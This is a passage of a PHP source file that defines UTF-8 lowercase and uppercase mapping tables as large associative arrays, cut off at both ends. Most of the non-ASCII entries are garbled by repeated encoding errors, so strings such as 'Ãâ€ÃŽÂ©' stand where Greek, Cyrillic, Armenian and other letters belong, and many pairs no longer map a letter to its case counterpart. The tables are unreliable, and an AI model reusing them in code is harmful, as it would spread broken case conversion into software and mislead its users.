=> '·Ãۉۢ', '·Ã€Â¢' => '·Ã€Â£', '·Ã€ ' => '·Ã€Â°', '·Ã€Ã»' => '·Ã€Ã¼', '·Ã€Ãº' => '·Ã€Ã¹', '·Ã€Ã¶' => '·Ã€Ãµ', '·Ã€Ã²' => '·Ã€Ã´', '·Ã€Ã±' => '·Ã€Ã³', '·Ã€Ã®' => '·Ã€Ã¯', '·Ã€Ã­' => '·Ã€Ã¬', '·Ã€Ãª' => '·Ã€Ã«', '·Ã€Ã©' => '·Ã€Ã¨', '·Ã€Ã¥' => '·Ã€Ã§', '·Ã€Ã¤' => '·Ã€Ã£', '·Ã€Ã ' => '·Ã€Ã¢', '·Ã€Ãœ' => '·Ã€Ã¡', '·Ã€Ã‘' => '·Ã€Ã–', '·Ã€Ã‡' => '·Ã€Ã‰', '·Ã€Ã„' => '·Ã€Ã…', '·âˆÂæ' => '·âˆÂø', '·âˆÂº' => '·âˆÂΩ', '·âˆÂ∫' => '·âˆÂª', '·âˆÂâˆÂ' => '·âˆÂÀ', '·âˆÂ∂' => '·âˆÂ∑', '·âˆÂÂ¥' => '·âˆÂµ', '·âˆÂ≤' => '·âˆÂ≥', '·âˆÂ∞' => '·âˆÂ±', '·âˆÂÆ' => '·âˆÂØ', '·âˆÂ¨' => '·âˆÂ≠', '·âˆÂâ„¢' => '·âˆÂ´', '·âˆÂ®' => '·âˆÂ©', '·âˆÂ¶' => '·âˆÂß', '·âˆÂ§' => '·âˆÂ•', '·âˆÂ¢' => '·âˆÂ£', '·∠' => '·âˆÂ°', '·âˆÂû' => '·âˆÂü', '·âˆÂú' => '·âˆÂù', '·âˆÂö' => '·âˆÂõ', '·âˆÂò' => '·âˆÂô', '·âˆÂñ' => '·âˆÂó', '·âˆÂî' => '·âˆÂï', '·âˆÂí' => '·âˆÂì', '·âˆÂê' => '·âˆÂë', '·âˆÂé' => '·âˆÂè', '·âˆÂÃ¥' => '·âˆÂç', '·âˆÂä' => '·âˆÂã', '·âˆÂà' => '·âˆÂâ', '·âˆÂÜ' => '·âˆÂá', '·âˆÂÑ' => '·âˆÂÖ', '·âˆÂÇ' => '·âˆÂÉ', '·âˆÂÄ' => '·âˆÂÃ…', '’ñ' => 'ֆ', '’ï' => '÷Ö', '’î' => 'ք', '’ì' => 'փ', '’í' => 'ւ', '’ë' => 'ց', '’ê' => 'ր', '’è' => '’ø', '’é' => '’æ', '’ç' => '’Ω', '’å' => '’º', '’ã' => '’ª', '’ä' => '’∫', '’â' => '’À', '’à' => '’âˆÂ', '’á' => '’∑', '’Ü' => '’∂', '’Ö' => '’µ', '’Ñ' => '’¥', '’É' => '’≥', '’Ç' => '’≤', '’Å' => '’±', '’Ä' => '’∞', '‘ø' => '’Ø', '‘æ' => '’Æ', '‘Ω' => '’≠', 'Լ' => '’¨', 'Ի' => '’´', '‘∫' => '’™', '‘À' => '’©', '‘âˆÂ' => '’®', '‘∑' => '’ß', '‘∂' => '’¶', '‘µ' => '’•', '‘¥' => '’§', '‘≥' => '’£', '‘≤' => '’¢', '‘±' => '’°', '‘é' => '‘è', '‘å' => '‘ç', '‘ä' => '‘ã', '‘à' => '‘â', '‘Ü' => '‘á', '‘Ñ' => '‘Ö', '‘Ç' => '‘É', '‘Ä' => '‘Å', 'â€ÂâˆÂ' => 'â€ÂÀ', 'â€ÂÂ¥' => 'â€Âµ', 'â€Â≤' => 'â€Â≥', 'â€Â∞' => 'â€Â±', 'â€ÂÆ' => 'â€ÂØ', 'â€Â¨' => 'â€Â≠', 'â€Ââ„¢' => 'â€Â´', 'â€Â®' => 'â€Â©', 'â€Â¶' => 'â€Âß', 'â€Â§' => 'â€Â•', 'â€Â¢' => 'â€Â£', '†' => 'â€Â°', 'â€Âû' => 'â€Âü', 'â€Âú' => 'â€Âù', 'â€Âö' => 'â€Âõ', 'â€Âò' => 'â€Âô', 'â€Âñ' => 'â€Âó', 'â€Âî' => 'â€Âï', 'â€Âí' => 'â€Âì', 'â€Âê' => 'â€Âë', 'â€Âç' => 'â€Âé', 'â€Âã' => 'â€ÂÃ¥', 'â€Ââ' => 'â€Âä', 'â€Âá' => 'â€Âà', 'â€ÂÖ' => 'â€ÂÜ', 'â€ÂÉ' => 'â€ÂÑ', 'â€ÂÃ…' => 'â€ÂÇ', '“æ' => '“ø', 'Ҽ' => '“Ω', '“∫' => 'һ', '“âˆÂ' => '“À', '“∂' => '“∑', '“¥' => '“µ', '“≤' => '“≥', '“∞' => '“±', '“Æ' => '“Ø', 'Ҭ' => '“≠', '“™' => '“´', '“®' => '“©', '“¶' => '“ß', '“§' => '“•', '“¢' => '“£', '“ ' => '“°', '“û' => '“ü', '“ú' => '“ù', '“ö' => '“õ', '“ò' => '“ô', '“ñ' => '“ó', '“î' => '“ï', '“í' => '“ì', '“ê' => '“ë', '“é' => '“è', '“å' => '“ç', '“ä' => '“ã', '“Ä' => '“Å', 'â€â€ÃƒÂ¦' => 'â€â€ÃƒÂ¸', 'â€â€Ã‚º' => 'â€â€ÃŽÂ©', 'â€â€Ã¢Ë†Â«' => 'â€â€Ã‚ª', 'â€â€Ã¢Ë†Â' => 'â€â€Ã€', 'â€â€Ã¢Ë†â€š' => 'â€â€Ã¢Ë†â€˜', 'â€â€Ã‚Â¥' => 'â€â€Ã‚µ', 'â€â€Ã¢â€°Â¤' => 'â€â€Ã¢â€°Â¥', 'â€â€Ã¢Ë†Å¾' => 'â€â€Ã‚±', 'â€â€Ãƒâ€ ' => 'â€â€ÃƒËœ', 'â€â€Ã‚¨' => 'â€â€Ã¢â€°Â ', 'â€â€Ã¢â€žÂ¢' => 'â€â€Ã‚´', 'â€â€Ã‚®' => 'â€â€Ã‚©', 'â€â€Ã‚¶' => 'â€â€ÃƒÅ¸', 'â€â€Ã‚§' => 'â€â€Ã¢â‚¬Â¢', 'â€â€Ã‚¢' => 'â€â€Ã‚£', ' ' => 'â€â€Ã‚°', '–Ø' => 'â€â€ÃƒÂ¨', '–Æ' => 'â€â€ÃƒÂ©', '–≠' => 'â€â€ÃƒÂ§', '–¨' => 'â€â€ÃƒÂ¥', '–´' => 'â€â€ÃƒÂ£', '–™' => 'â€â€ÃƒÂ¤', '–©' => 'â€â€ÃƒÂ¢', '–®' => 'â€â€ÃƒÂ ', '–ß' => 'â€â€ÃƒÂ¡', '–¶' => 'â€â€ÃƒÅ“', '–•' => 'â€â€Ãƒâ€“', '–§' => 'â€â€Ãƒâ€˜', '–£' => 'â€â€Ãƒâ€°', '–¢' => 'â€â€Ãƒâ€¡', '–°' => 'â€â€Ãƒâ€¦', '– ' => 'â€â€Ãƒâ€ž', '–ü' => '–ø', '–û' => '–æ', '–ù' => '–Ω', '–ú' => '–º', '–õ' => '–ª', '–ö' => '–∫', '–ô' => '–À', '–ò' => '–âˆÂ', '–ó' => '–∑', '–ñ' => '–∂', '–ï' => '–µ', '–î' => '–¥', '–ì' => '–≥', '–í' => '–≤', '–ë' => '–±', '–ê' => '–∞', '–è' => 'â€â€ÃƒÂ¼', '–é' => 'â€â€ÃƒÂ»', '–ç' => 'â€â€ÃƒÂ¹', '–å' => 'â€â€ÃƒÂº', '–ã' => 'â€â€ÃƒÂµ', '–ä' => 'â€â€ÃƒÂ¶', '–â' => 'â€â€ÃƒÂ´', '–à' => 'â€â€ÃƒÂ²', '–á' => 'â€â€ÃƒÂ³', '–Ü' => 'â€â€ÃƒÂ±', '–Ö' => 'â€â€ÃƒÂ¯', '–Ñ' => 'â€â€ÃƒÂ®', '–É' => 'â€â€ÃƒÂ¬', '–Ç' => 'â€â€ÃƒÂ­', '–Å' => 'â€â€ÃƒÂ«', '–Ä' => 'â€â€ÃƒÂª', 'ϴ' => 'Å’âˆÂ', 'Ϯ' => 'ϯ', 'Ϭ' => 'ϭ', 'Ϫ' => 'ϫ', 'Ϩ' => 'ϩ', 'Ϧ' => 'ϧ', 'Ϥ' => 'ϥ', 'Ϣ' => 'ϣ', 'Å“ ' => 'ϡ', 'Ϟ' => 'ϟ', 'Ϝ' => 'ϝ', 'Ϛ' => 'ϛ', 'Ϙ' => 'ϙ', 'Ϋ' => 'ϋ', 'Å’â„¢' => 'ϊ', 'Ω' => 'ω', 'Ψ' => 'ψ', 'Χ' => 'χ', 'Φ' => 'φ', 'Υ' => 'υ', 'Τ' => 'τ', 'Σ' => 'σ', 'Ρ' => 'ρ', 'Å’ ' => 'π', 'Ο' => 'ο', 'Ξ' => 'ξ', 'Ν' => 'ν', 'Μ' => 'μ', 'Λ' => 'λ', 'Κ' => 'κ', 'Ι' => 'ŒÀ', 'Θ' => 'Å’âˆÂ', 'Η' => 'η', 'Ζ' => 'ζ', 'Ε' => 'ε', 'Δ' => 'Å’Â¥', 'Γ' => 'γ', 'Β' => 'β', 'Α' => 'α', 'Ώ' => 'ώ', 'Ύ' => 'ύ', 'Å’Ã¥' => 'ό', 'Ί' => 'ί', 'Ή' => 'ή', 'Έ' => 'έ', 'Ά' => 'ά', '»≤' => '»≥', '»∞' => '»±', 'Ȯ' => 'ȯ', 'Ȭ' => '»≠', '»™' => '»´', '»®' => '»©', '»¶' => 'ȧ', '»§' => '»•', 'Ȣ' => 'ȣ', '» ' => '∆û', '»û' => 'ȟ', '»ú' => '»ù', '»ö' => '»õ', '»ò' => '»ô', 'Ȗ' => '»ó', 'Ȕ' => 'ȕ', 'Ȓ' => 'ȓ', 'Ȑ' => 'ȑ', 'Ȏ' => 'ȏ', 'Ȍ' => 'ȍ', 'Ȋ' => 'ȋ', 'Ȉ' => 'ȉ', 'Ȇ' => 'ȇ', 'Ȅ' => '»Ö', 'Ȃ' => 'ȃ', 'Ȁ' => 'ȁ', '«æ' => '«ø', 'Ǽ' => '«Ω', '«∫' => 'ǻ', '«âˆÂ' => '«Ã€', '«∑' => '∆ø', '«∂' => 'ƕ', '«¥' => '«µ', '«±' => '«≥', '«Æ' => '«Ø', 'Ǭ' => '«≠', '«™' => '«´', '«®' => '«©', '«¶' => '«ß', '«§' => '«•', '«¢' => '«£', '« ' => '«°', '«û' => '«ü', '«õ' => '«ú', '«ô' => '«ö', '«ó' => '«ò', '«ï' => '«ñ', '«ì' => '«î', '«ë' => '«í', '«è' => '«ê', '«ç' => '«é', '«ä' => '«å', '«á' => '«â', '«Ñ' => '«Ü', 'Ƽ' => '∆Ω', '∆âˆÂ' => '∆À', '∆∑' => ' í', '∆µ' => '∆∂', '∆≥' => '∆¥', '∆≤' => ' ã', '∆±' => ' ä', 'Ư' => '∆∞', 'Ʈ' => ' à', 'Ƭ' => '∆≠', 'Ʃ' => ' É', 'Ƨ' => '∆®', '∆¶' => ' Ä', '∆§' => 'ƥ', '∆¢' => '∆£', '∆ ' => '∆°', 'Ɵ' => '…µ', '∆ù' => '…≤', '∆ú' => '…Ø', '∆ò' => '∆ô', '∆ó' => '…®', 'Ɩ' => '…©', 'Ɣ' => '…£', 'Ɠ' => '… ', 'Ƒ' => 'ƒ', 'Ɛ' => '…õ', 'Ə' => '…ô', 'Ǝ' => '«ù', 'Ƌ' => 'ƌ', 'Ɗ' => '…ó', 'Ɖ' => '…ñ', 'Ƈ' => 'ƈ', 'Ɔ' => '…î', 'Ƅ' => '∆Ö', 'Ƃ' => 'ƃ', 'Ɓ' => '…ì', '≈Ω' => 'ž', 'Ż' => 'ż', '≈À' => '≈∫', '≈âˆÂ' => 'ÿ', '≈∂' => '≈∑', '≈¥' => '≈µ', '≈≤' => '≈≥', '≈∞' => '≈±', 'Ů' => 'ů', 'Ŭ' => '≈≠', '≈™' => '≈´', '≈®' => 'ũ', '≈¶' => 'ŧ', '≈§' => 'ť', 'Ţ' => '≈£', '≈ ' => 'š', '≈û' => 'ş', '≈ú' => '≈ù', '≈ö' => '≈õ', '≈ò' => '≈ô', 'Ŗ' => '≈ó', 'Ŕ' => 'ŕ', 'Œ' => 'œ', 'Ő' => 'ő', 'Ŏ' => 'ŏ', 'Ō' => 'ō', 'Ŋ' => 'ŋ', 'Ň' => 'ň', '≈Ö' => 'ņ', 'Ń' => 'ń', 'Ł' => 'ł', 'ƒø' => 'ŀ', 'ƒΩ' => 'ľ', 'Ļ' => 'ļ', 'ƒÀ' => 'ĺ', 'Ķ' => 'ķ', 'Æ’Â¥' => 'ĵ', 'IJ' => 'ij', 'İ' => 'i', 'Į' => 'į', 'Ĭ' => 'ĭ', 'Æ’â„¢' => 'ƒ´', 'Ĩ' => 'ĩ', 'Ħ' => 'ħ', 'Ĥ' => 'ĥ', 'Ģ' => 'ģ', 'Æ’ ' => 'ƒ°', 'ƒû' => 'ğ', 'ƒú' => 'ƒù', 'ƒö' => 'ƒõ', 'ƒò' => 'ƒô', 'Ė' => 'ƒó', 'Ĕ' => 'ĕ', 'Ē' => 'ē', 'Đ' => 'đ', 'Ď' => 'ď', 'Æ’Ã¥' => 'č', 'Ċ' => 'ċ', 'Ĉ' => 'ĉ', 'Ć' => 'ć', 'Ą' => 'ƒÖ', 'Ă' => 'ă', 'Ā' => 'Æ’Ã…', '√û' => 'þ', '√ù' => '√Ω', '√ú' => 'ü', '√õ' => 'û', '√ö' => '√∫', '√ô' => '√À', '√ò' => '√âˆÂ', 'Ö' => 'ö', 'Õ' => 'õ', 'Ô' => 'ô', 'Ó' => 'ó', 'Ò' => 'ò', 'Ñ' => 'ñ', 'Ð' => '√∞', 'Ï' => 'ï', 'Î' => 'î', 'Í' => 'í', 'Ì' => 'ì', 'Ë' => 'ë', 'Ê' => 'ê', 'É' => 'é', 'È' => 'è', 'Ç' => 'ç', 'Æ' => '√¶', '√Ö' => 'å', 'Ä' => '√§', 'Ã' => '√£', 'Â' => '√¢', 'Á' => '√°', 'À' => '√ ', 'Z' => 'z', 'Y' => 'y', 'X' => 'x', 'W' => 'w', 'V' => 'v', 'U' => 'u', 'T' => 't', 'S' => 's', 'R' => 'r', 'Q' => 'q', 'P' => 'p', 'O' => 'o', 'N' => 'n', 'M' => 'm', 'L' => 'l', 'K' => 'k', 'J' => 'j', 'I' => 'i', 'H' => 'h', 'G' => 'g', 'F' => 'f', 'E' => 'e', 'D' => 'd', 'C' => 'c', 'B' => 'b', 'A' => 'a', ); $UTF8_TABLES['strtoupper'] = array( 'Ãâ€ÃŽÂ©ÃƒÂ¶' => 'Ãâ€Ã‚ºâˆ«', 'Ãâ€ÃŽÂ©ÃƒÂ´' => 'Ãâ€Ã‚ºÃ€', 'Ãâ€ÃŽÂ©ÃƒÂ²' => 'Ãâ€Ã‚ºâˆÂ', 'Ãâ€ÃŽÂ©ÃƒÂ³' => 'Ãâ€Ã‚ºâˆ‘', 'Ãâ€ÃŽÂ©ÃƒÂ±' => 'Ãâ€Ã‚ºâˆ‚', 'Ãâ€ÃŽÂ©ÃƒÂ¯' => 'Ãâ€Ã‚ºÂµ', 'Ãâ€ÃŽÂ©ÃƒÂ®' => 'Ãâ€Ã‚ºÂ¥', 'Ãâ€ÃŽÂ©ÃƒÂ¬' => 'Ãâ€Ã‚ºâ‰¥', 'Ãâ€ÃŽÂ©ÃƒÂ­' => 'Ãâ€Ã‚ºâ‰¤', 'Ãâ€ÃŽÂ©ÃƒÂ«' => 'Ãâ€Ã‚ºÂ±', 'Ãâ€ÃŽÂ©ÃƒÂª' => 'Ãâ€Ã‚ºâˆž', 'Ãâ€ÃŽÂ©ÃƒÂ¨' => 'Ãâ€Ã‚ºÃ˜', 'Ãâ€ÃŽÂ©ÃƒÂ©' => 'Ãâ€Ã‚ºÃ†', 'Ãâ€ÃŽÂ©ÃƒÂ§' => 'Ãâ€Ã‚ºâ‰ ', 'Ãâ€ÃŽÂ©ÃƒÂ¥' => 'Ãâ€Ã‚ºÂ¨', 'Ãâ€ÃŽÂ©ÃƒÂ£' => 'Ãâ€Ã‚ºÂ´', 'Ãâ€ÃŽÂ©ÃƒÂ¤' => 'Ãâ€Ã‚ºâ„¢', 'Ãâ€ÃŽÂ©ÃƒÂ¢' => 'Ãâ€Ã‚ºÂ©', 'Ãâ€ÃŽÂ©ÃƒÂ ' => 'Ãâ€Ã‚ºÂ®', 'Ãâ€ÃŽÂ©ÃƒÂ¡' => 'Ãâ€Ã‚ºÃŸ', 'Ãâ€ÃŽÂ©ÃƒÅ“' => 'Ãâ€Ã‚ºÂ¶', 'Ãâ€ÃŽÂ©Ãƒâ€“' => 'Ãâ€Ã‚ºâ€¢', 'Ãâ€ÃŽÂ©Ãƒâ€˜' => 'Ãâ€Ã‚ºÂ§', 'Ãâ€ÃŽÂ©Ãƒâ€°' => 'Ãâ€Ã‚ºÂ£', 'Ãâ€ÃŽÂ©Ãƒâ€¡' => 'Ãâ€Ã‚ºÂ¢', 'Ãâ€ÃŽÂ©Ãƒâ€¦' => 'Ãâ€Ã‚ºÂ°', '·ø≥' => '·øº', '·ø•' => '·ø¨', '·ø°' => '·ø©', '·ø ' => '·ø®', '·øë' => '·øô', '·øê' => '·øò', '·øÉ' => '·øå', '·ææ' => 'Ι', '·æ≥' => 'ᾼ', '·æ±' => '·æÃ€', '·æ∞' => '·æâˆÂ', '·æß' => 'ᾯ', '·æ¶' => 'ᾮ', '·æ•' => '·æ≠', '·æ§' => 'ᾬ', 'ᾣ' => '·æ´', 'ᾢ' => '·æ™', '·æ°' => '·æ©', '·æ ' => '·æ®', '·æó' => '·æü', '·æñ' => '·æû', '·æï' => '·æù', '·æî' => '·æú', '·æì' => '·æõ', '·æí' => '·æö', '·æë' => '·æô', '·æê' => '·æò', '·æá' => '·æè', 'ᾆ' => '·æé', '·æÖ' => '·æç', 'ᾄ' => '·æå', 'ᾃ' => '·æã', 'ᾂ' => '·æä', 'ᾁ' => '·æâ', 'ᾀ' => '·æà', '·ΩΩ' => '·øª', '·Ωº' => '·ø∫', '·Ωª' => '·ø´', '·Ω∫' => '·ø™', '·ΩÀ' => '·øÃ€', '·ΩâˆÂ' => '·øâˆÂ', '·Ω∑' => '·øõ', '·Ω∂' => '·øö', '·Ωµ' => '·øã', '·Ω¥' => '·øä', '·Ω≥' => '·øâ', '·Ω≤' => '·øà', '·Ω±' => 'Ά', '·Ω∞' => '·æ∫', '·Ωß' => '·ΩØ', '·Ω¶' => '·ΩÆ', '·Ω•' => '·Ω≠', '·Ω§' => '·Ω¨', '·Ω£' => '·Ω´', '·Ω¢' => '·Ω™', '·Ω°' => '·Ω©', '·Ω ' => '·Ω®', '·Ωó' => '·Ωü', '·Ωï' => '·Ωù', '·Ωì' => '·Ωõ', '·Ωë' => '·Ωô', '·ΩÖ' => '·Ωç', '·ΩÑ' => '·Ωå', '·ΩÉ' => '·Ωã', '·ΩÇ' => '·Ωä', '·ΩÅ' => '·Ωâ', '·ΩÄ' => '·Ωà', 'ἷ' => '·ºø', 'ἶ' => 'Ἶ', 'ἵ' => '·ºΩ', 'ἴ' => 'Ἴ', 'ἳ' => 'Ἳ', 'ἲ' => 'Ἲ', 'ἱ' => '·ºÃ€', 'ἰ' => '·ºâˆÂ', 'ἧ' => 'Ἧ', 'ἦ' => 'Ἦ', 'ἥ' => 'Ἥ', 'ἤ' => 'Ἤ', 'ἣ' => '·º´', 'ἢ' => 'Ἢ', '·º°' => 'Ἡ', '·º ' => 'Ἠ', 'ἕ' => '·ºù', 'ἔ' => '·ºú', 'ἓ' => '·ºõ', 'ἒ' => '·ºö', 'ἑ' => '·ºô', 'ἐ' => '·ºò', 'ἇ' => 'Ἇ', 'ἆ' => 'Ἆ', '·ºÖ' => 'Ἅ', 'ἄ' => 'Ἄ', 'ἃ' => 'Ἃ', 'ἂ' => 'Ἂ', 'ἁ' => 'Ἁ', 'ἀ' => 'Ἀ', '·ªÃ€' => '·ªâˆÂ', 'ỷ' => 'Ỷ', 'ỵ' => 'Ỵ', 'ỳ' => 'Ỳ', 'ự' => 'Ự', 'ữ' => 'Ữ', 'ử' => 'Ử', '·ª´' => 'Ừ', 'ứ' => 'Ứ', 'ủ' => 'Ủ', 'ụ' => 'Ụ', 'ợ' => 'Ợ', '·ª°' => '·ª ', 'ở' => '·ªû', '·ªù' => '·ªú', '·ªõ' => '·ªö', '·ªô' => '·ªò', '·ªó' => 'Ỗ', 'ổ' => 'Ổ', 'ồ' => 'Ồ', 'ố' => 'Ố', 'ỏ' => 'Ỏ', 'ọ' => 'Ọ', 'ị' => 'Ị', 'ỉ' => 'Ỉ', 'ệ' => 'Ệ', '·ªÖ' => 'Ễ', 'ể' => 'Ể', 'ề' => 'Ề', '·∫ø' => 'Ế', '·∫Ω' => 'Ẽ', 'ẻ' => '·∫∫', '·∫À' => '·∫âˆÂ', '·∫∑' => '·∫∂', '·∫µ' => '·∫¥', '·∫≥' => '·∫≤', '·∫±' => '·∫∞', 'ắ' => 'Ắ', '·∫≠' => 'Ậ', '·∫´' => '·∫™', 'ẩ' => '·∫®', 'ầ' => '·∫¶', 'ấ' => '·∫§', '·∫£' => '·∫¢', '·∫°' => '·∫ ', '·∫õ' => '·Ã€ ', 'ẕ' => 'Ẕ', 'ẓ' => 'Ẓ', 'ẑ' => 'Ẑ', 'ẏ' => 'Ẏ', 'ẍ' => 'Ẍ', 'ẋ' => 'Ẋ', 'ẉ' => 'Ẉ', 'ẇ' => 'Ẇ', '·∫Ö' => 'Ẅ', 'ẃ' => 'Ẃ', 'ẁ' => 'Ẁ', '·Ã€Ã¸' => '·Ã€Ã¦', '·Ã€Î©' => '·Ã€Âº', '·Ã€Âª' => '·Ã€âˆ«', '·Ã€Ã€' => '·Ã€âˆÂ', '·Ã€âˆ‘' => '·Ã€âˆ‚', '·Ã€Âµ' => '·Ã€Â¥', '·Ã€â‰¥' => '·Ã€â‰¤', '·Ã€Â±' => '·Ã€âˆž', '·Ã€Ã˜' => '·Ã€Ã†', '·Ã€â‰ ' => '·Ã€Â¨', '·Ã€Â´' => '·Ã€â„¢', '·Ã€Â©' => '·Ã€Â®', '·Ã€ÃŸ' => '·Ã€Â¶', '·Ãۉۢ' => '·Ã€Â§', '·Ã€Â£' => '·Ã€Â¢', '·Ã€Â°' => '·Ã€ ', '·Ã€Ã¼' => '·Ã€Ã»', '·Ã€Ã¹' => '·Ã€Ãº', '·Ã€Ãµ' => '·Ã€Ã¶', '·Ã€Ã´' => '·Ã€Ã²', '·Ã€Ã³' => '·Ã€Ã±', '·Ã€Ã¯' => '·Ã€Ã®', '·Ã€Ã¬' => '·Ã€Ã­', '·Ã€Ã«' => '·Ã€Ãª', '·Ã€Ã¨' => '·Ã€Ã©', '·Ã€Ã§' => '·Ã€Ã¥', '·Ã€Ã£' => '·Ã€Ã¤', '·Ã€Ã¢' => '·Ã€Ã ', '·Ã€Ã¡' => '·Ã€Ãœ', '·Ã€Ã–' => '·Ã€Ã‘', '·Ã€Ã‰' => '·Ã€Ã‡', '·Ã€Ã…' => '·Ã€Ã„', '·âˆÂø' => '·âˆÂæ', '·âˆÂΩ' => '·âˆÂº', '·âˆÂª' => '·âˆÂ∫', '·âˆÂÀ' => '·âˆÂâˆÂ', '·âˆÂ∑' => '·âˆÂ∂', '·âˆÂµ' => '·âˆÂÂ¥', '·âˆÂ≥' => '·âˆÂ≤', '·âˆÂ±' => '·âˆÂ∞', '·âˆÂØ' => '·âˆÂÆ', '·âˆÂ≠' => '·âˆÂ¨', '·âˆÂ´' => '·âˆÂâ„¢', '·âˆÂ©' => '·âˆÂ®', '·âˆÂß' => '·âˆÂ¶', '·âˆÂ•' => '·âˆÂ§', '·âˆÂ£' => '·âˆÂ¢', '·âˆÂ°' => '·∠', '·âˆÂü' => '·âˆÂû', '·âˆÂù' => '·âˆÂú', '·âˆÂõ' => '·âˆÂö', '·âˆÂô' => '·âˆÂò', '·âˆÂó' => '·âˆÂñ', '·âˆÂï' => '·âˆÂî', '·âˆÂì' => '·âˆÂí', '·âˆÂë' => '·âˆÂê', '·âˆÂè' => '·âˆÂé', '·âˆÂç' => '·âˆÂÃ¥', '·âˆÂã' => '·âˆÂä', '·âˆÂâ' => '·âˆÂà', '·âˆÂá' => '·âˆÂÜ', '·âˆÂÖ' => '·âˆÂÑ', '·âˆÂÉ' => '·âˆÂÇ', '·âˆÂÃ…' => '·âˆÂÄ', 'ֆ' => '’ñ', '÷Ö' => '’ï', 'ք' => '’î', 'փ' => '’ì', 'ւ' => '’í', 'ց' => '’ë', 'ր' => '’ê', '’ø' => '’è', '’æ' => '’é', '’Ω' => '’ç', '’º' => '’å', '’ª' => '’ã', '’∫' => '’ä', '’À' => '’â', '’âˆÂ' => '’à', '’∑' => '’á', '’∂' => '’Ü', '’µ' => '’Ö', '’¥' => '’Ñ', '’≥' => '’É', '’≤' => '’Ç', '’±' => '’Å', '’∞' => '’Ä', '’Ø' => '‘ø', '’Æ' => '‘æ', '’≠' => '‘Ω', '’¨' => 'Լ', '’´' => 'Ի', '’™' => '‘∫', '’©' => '‘À', '’®' => '‘âˆÂ', '’ß' => '‘∑', '’¶' => '‘∂', '’•' => '‘µ', '’§' => '‘¥', '’£' => '‘≥', '’¢' => '‘≤', '’°' => '‘±', '‘è' => '‘é', '‘ç' => '‘å', '‘ã' => '‘ä', '‘â' => '‘à', '‘á' => '‘Ü', '‘Ö' => '‘Ñ', '‘É' => '‘Ç', '‘Å' => '‘Ä', 'â€ÂÀ' => 'â€ÂâˆÂ', 'â€Âµ' => 'â€ÂÂ¥', 'â€Â≥' => 'â€Â≤', 'â€Â±' => 'â€Â∞', 'â€ÂØ' => 'â€ÂÆ', 'â€Â≠' => 'â€Â¨', 'â€Â´' => 'â€Ââ„¢', 'â€Â©' => 'â€Â®', 'â€Âß' => 'â€Â¶', 'â€Â•' => 'â€Â§', 'â€Â£' => 'â€Â¢', 'â€Â°' => '†', 'â€Âü' => 'â€Âû', 'â€Âù' => 'â€Âú', 'â€Âõ' => 'â€Âö', 'â€Âô' => 'â€Âò', 'â€Âó' => 'â€Âñ', 'â€Âï' => 'â€Âî', 'â€Âì' => 'â€Âí', 'â€Âë' => 'â€Âê', 'â€Âé' => 'â€Âç', 'â€ÂÃ¥' => 'â€Âã', 'â€Âä' => 'â€Ââ', 'â€Âà' => 'â€Âá', 'â€ÂÜ' => 'â€ÂÖ', 'â€ÂÑ' => 'â€ÂÉ', 'â€ÂÇ' => 'â€ÂÃ…', '“ø' => '“æ', '“Ω' => 'Ҽ', 'һ' => '“∫', '“À' => '“âˆÂ', '“∑' => '“∂', '“µ' => '“¥', '“≥' => '“≤', '“±' => '“∞', '“Ø' => '“Æ', '“≠' => 'Ҭ', '“´' => '“™', '“©' => '“®', '“ß' => '“¶', '“•' => '“§', '“£' => '“¢', '“°' => '“ ', '“ü' => '“û', '“ù' => '“ú', '“õ' => '“ö', '“ô' => '“ò', '“ó' => '“ñ', '“ï' => '“î', '“ì' => '“í', '“ë' => '“ê', '“è' => '“é', '“ç' => '“å', '“ã' => '“ä', '“Å' => '“Ä', 'â€â€ÃƒÂ¸' => 'â€â€ÃƒÂ¦', 'â€â€ÃŽÂ©' => 'â€â€Ã‚º', 'â€â€Ã‚ª' => 'â€â€Ã¢Ë†Â«', 'â€â€Ã€' => 'â€â€Ã¢Ë†Â', 'â€â€Ã¢Ë†â€˜' => 'â€â€Ã¢Ë†â€š', 'â€â€Ã‚µ' => 'â€â€Ã‚Â¥', 'â€â€Ã¢â€°Â¥' => 'â€â€Ã¢â€°Â¤', 'â€â€Ã‚±' => 'â€â€Ã¢Ë†Å¾', 'â€â€ÃƒËœ' => 'â€â€Ãƒâ€ ', 'â€â€Ã¢â€°Â ' => 'â€â€Ã‚¨', 'â€â€Ã‚´' => 'â€â€Ã¢â€žÂ¢', 'â€â€Ã‚©' => 'â€â€Ã‚®', 'â€â€ÃƒÅ¸' => 'â€â€Ã‚¶', 'â€â€Ã¢â‚¬Â¢' => 'â€â€Ã‚§', 'â€â€Ã‚£' => 'â€â€Ã‚¢', 'â€â€Ã‚°' => ' ', 'â€â€ÃƒÂ¼' => '–è', 'â€â€ÃƒÂ»' => '–é', 'â€â€ÃƒÂ¹' => '–ç', 'â€â€ÃƒÂº' => '–å', 'â€â€ÃƒÂµ' => '–ã', 'â€â€ÃƒÂ¶' => '–ä', 'â€â€ÃƒÂ´' => '–â', 'â€â€ÃƒÂ²' => '–à', 'â€â€ÃƒÂ³' => '–á', 'â€â€ÃƒÂ±' => '–Ü', 'â€â€ÃƒÂ¯' => '–Ö', 'â€â€ÃƒÂ®' => '–Ñ', 'â€â€ÃƒÂ¬' => '–É', 'â€â€ÃƒÂ­' => '–Ç', 'â€â€ÃƒÂ«' => '–Å', 'â€â€ÃƒÂª' => '–Ä', 'â€â€ÃƒÂ¨' => '–Ø', 'â€â€ÃƒÂ©' => '–Æ', 'â€â€ÃƒÂ§' => '–≠', 'â€â€ÃƒÂ¥' => '–¨', 'â€â€ÃƒÂ£' => '–´', 'â€â€ÃƒÂ¤' => '–™', 'â€â€ÃƒÂ¢' => '–©', 'â€â€ÃƒÂ ' => '–®', 'â€â€ÃƒÂ¡' => '–ß', 'â€â€ÃƒÅ“' => '–¶', 'â€â€Ãƒâ€“' => '–•', 'â€â€Ãƒâ€˜' => '–§', 'â€â€Ãƒâ€°' => '–£', 'â€â€Ãƒâ€¡' => '–¢', 'â€â€Ãƒâ€¦' => '–°', 'â€â€Ãƒâ€ž' => '– ', '–ø' => '–ü', '–æ' => '–û', '–Ω' => '–ù', '–º' => '–ú', '–ª' => '–õ', '–∫' => '–ö', '–À' => '–ô', '–âˆÂ' => '–ò', '–∑' => '–ó', '–∂' => '–ñ', '–µ' => '–ï', '–¥' => '–î', '–≥' => '–ì', '–≤' => '–í', '–±' => '–ë', '–∞' => '–ê', 'ϵ' => 'Ε', 'ϲ' => 'Σ', 'ϱ' => 'Ρ', 'ϰ' => 'Κ', 'ϯ' => 'Ϯ', 'ϭ' => 'Ϭ', 'ϫ' => 'Ϫ', 'ϩ' => 'Ϩ', 